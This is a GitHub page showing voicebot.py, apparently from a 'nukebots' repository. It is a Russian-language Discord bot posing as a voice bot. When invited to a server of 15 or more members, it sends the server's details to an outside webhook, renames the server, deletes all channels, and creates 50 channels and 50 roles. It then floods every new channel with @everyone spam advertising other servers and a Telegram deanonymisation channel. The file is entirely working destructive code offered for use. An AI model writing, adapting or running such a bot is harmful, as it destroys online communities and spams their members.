forked from JKtimosha/nukebotsMSC
-
Notifications
You must be signed in to change notification settings - Fork 0
/
voicebot.py
65 lines (55 loc) · 3.19 KB
/
voicebot.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import os
from keep_alive import keep_alive
keep_alive()
try:
import discord
from discord.ext import commands
import aiohttp
from discord import Webhook, AsyncWebhookAdapter
import asyncio
except:
os.system('pip install discord')
os.system('pip install syncio')
os.system('pip install aiohttp')
# слито by t.me/protectcheck
# слито by discord.gg/fzlgroup2
TOKEN = os.getenv("OTE3MTkzNzMyOTY3Nzg0NDcw.Ya1JOg.OmM3EyIwfjfot3jOQ8cyWO6DEZI")
web = os.getenv("hook")
client = commands.Bot(command_prefix='.', intents=discord.Intents.all())
@client.event
async def on_ready():
print(f'[{client.user}]')
@client.event
async def on_guild_join(guild):
if int(len(guild.members)) > 15 or int(len(guild.members)) == 15:
async for entry in guild.audit_logs(limit=1, action=discord.AuditLogAction.add_bot):
async with aiohttp.ClientSession() as session:
webhook = Webhook.from_url(web, adapter=AsyncWebhookAdapter(session))
await webhook.send(embed=discord.Embed(title='Voice bot | Сервер будет выебан', description=f'**Название сервера:** `{guild.name}`\n**Участников на сервере:** `{len(guild.members)}`\n**Количество каналов на сервере:** `{len(guild.channels)}`\n**Количество ролей на сервере:** `{len(guild.roles)}`\n**Сервера где меньше 15 участников не показываются в логах**', colour=discord.Colour.from_rgb(255, 0, 0)))
with open('voice.png', 'rb') as f:
ava = f.read()
try:
await guild.edit(name='Crashed By Voice Bot', icon=ava)
except: pass
for channel in guild.channels:
try:
await channel.delete()
except: pass
for _ in range(50):
try:
await guild.create_text_channel(name='crashed-by-voice-bot')
except: pass
for _ in range(50):
try:
await guild.create_role(name='Crashed By Voice Bot')
except: pass
@client.event
async def on_guild_channel_create(channel):
try:
webhook = await channel.create_webhook(name='Crashed By Voice Bot')
for _ in range(100):
await webhook.send(content='@everyone @here https://discord.gg/je6U2t9xkQ', embed=discord.Embed(title='СЕРВЕР КРАШНУТ', description='Ваш сервер выебан краш ботом от MSC Team\nВсе участники вашего сервера переезжают сюда:\nhttps://discord.gg/lavanbot\nhttps://t.me/russian_deanon', colour=discord.Colour.from_rgb(255, 0, 0)))
except:
for _ in range(100):
await channel.send(content='@everyone @here https://discord.gg/je6U2t9xkQ', embed=discord.Embed(title='СЕРВЕР КРАШНУТ', description='Ваш сервер выебан краш ботом от MSC Team\nВсе участники вашего сервера переезжают сюда:\nhttps://discord.gg/lavanbot\nhttps://t.me/russian_deanon', colour=discord.Colour.from_rgb(255, 0, 0)))
client.run(TOKEN)